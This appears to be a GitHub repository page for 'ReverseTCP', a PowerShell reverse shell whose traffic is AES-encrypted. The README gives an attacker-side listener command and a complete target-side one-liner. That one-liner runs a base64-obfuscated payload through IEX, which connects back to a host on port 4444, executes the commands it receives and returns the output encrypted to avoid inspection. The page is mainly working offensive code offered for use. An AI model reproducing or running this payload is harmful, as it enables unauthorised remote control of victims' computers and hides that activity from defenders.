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PowerShell ReverseTCP Shell, Client & Server.
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ReverseTCP Update ReverseTCP.ps1 May 31, 2019
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PoC2.jpg Add files via upload May 31, 2019
README.md Update README.md May 30, 2019

README.md

Reverse Encrypted (AES 256-bit) Shell over TCP - using PowerShell SecureString.

  • Attacker (C2-Server Listener):

PS> .\ReverseTCP.ps1

  • Target (Client):

CMD> ECHO IEX([string]([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String({JABCAGEAcwBlADYANAA9ACIAOABHAEkAWABKADMAKwBBAE0AYgAzADIASgBXAEIAZgAyADkAdQBkAGoAcgBqAHYAeQBkAHUALwB4AFgARgBFAHUAYgB0AHQAVABhAHYAWAAwAGEAbwA9ACIAOwAkAEsAZQB5AD0AKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAQgBhAHMAZQA2ADQAKQApADsAJABDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAwAC4AMAAuADEAJwAsADQANAA0ADQAKQA7ACQAUwB0AHIAZQBhAG0APQAkAEMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAQgB5AHQAZQBzAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABSAGUAYQBkAD0AJABTAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAEIAeQB0AGUAcwAsACAAMAAsACAAJABCAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABDAG8AbQBtAGEAbgBkAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAQgB5AHQAZQBzACwAMAAsACAAJABSAGUAYQBkACkAOwAkAEQAZQBDAG8AZABlAD0AJABDAG8AbQBtAGEAbgBkACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0AUwBlAGMAdQByAGUAUwB0AHIAaQBuAGcAIAAtAEsAZQB5ACAAJABLAGUAeQA7ACQATwB1AHQAUAB1AHQAPQAoAEkARQBYACgAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUAB0AHIAVABvAFMAdAByAGkAbgBnAEEAdQB0AG8AKABbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBTAGUAYwB1AHIAZQBTAHQAcgBpAG4AZwBUAG8AQgBTAFQAUgAoACQARABlAEMAbwBkAGUAKQApACkAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAKQA7ACQARQBuAEMAbwBkAGUAPQBDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAAJABPAHUAdABQAHUAdAAgAC0AQQBzAFAAbABhAGkAbgBUAGUAeAB0ACAALQBGAG8AcgBjAGUAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0AUwBlAGMAdQByAGUAUwB0AHIAaQBuAGcAIAAtAEsAZQB5ACAAJABLAGUAeQA7ACQAUwBlAG4AZABCAHkAdABlAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAEUAbgBDAG8AZABlACkAOwAkAFMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABTAGUAbgBkAEIAeQB0AGUALAAwACwAJABTAGUAbgBkAEIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABTAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAQwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApADsARQB4AGkAdAA=}))));Exit | PowerShell -

PoC:

  • Payload Execution:

alt text

  • Analyze Encrypted Traffic:

alt text

You can’t perform that action at this time.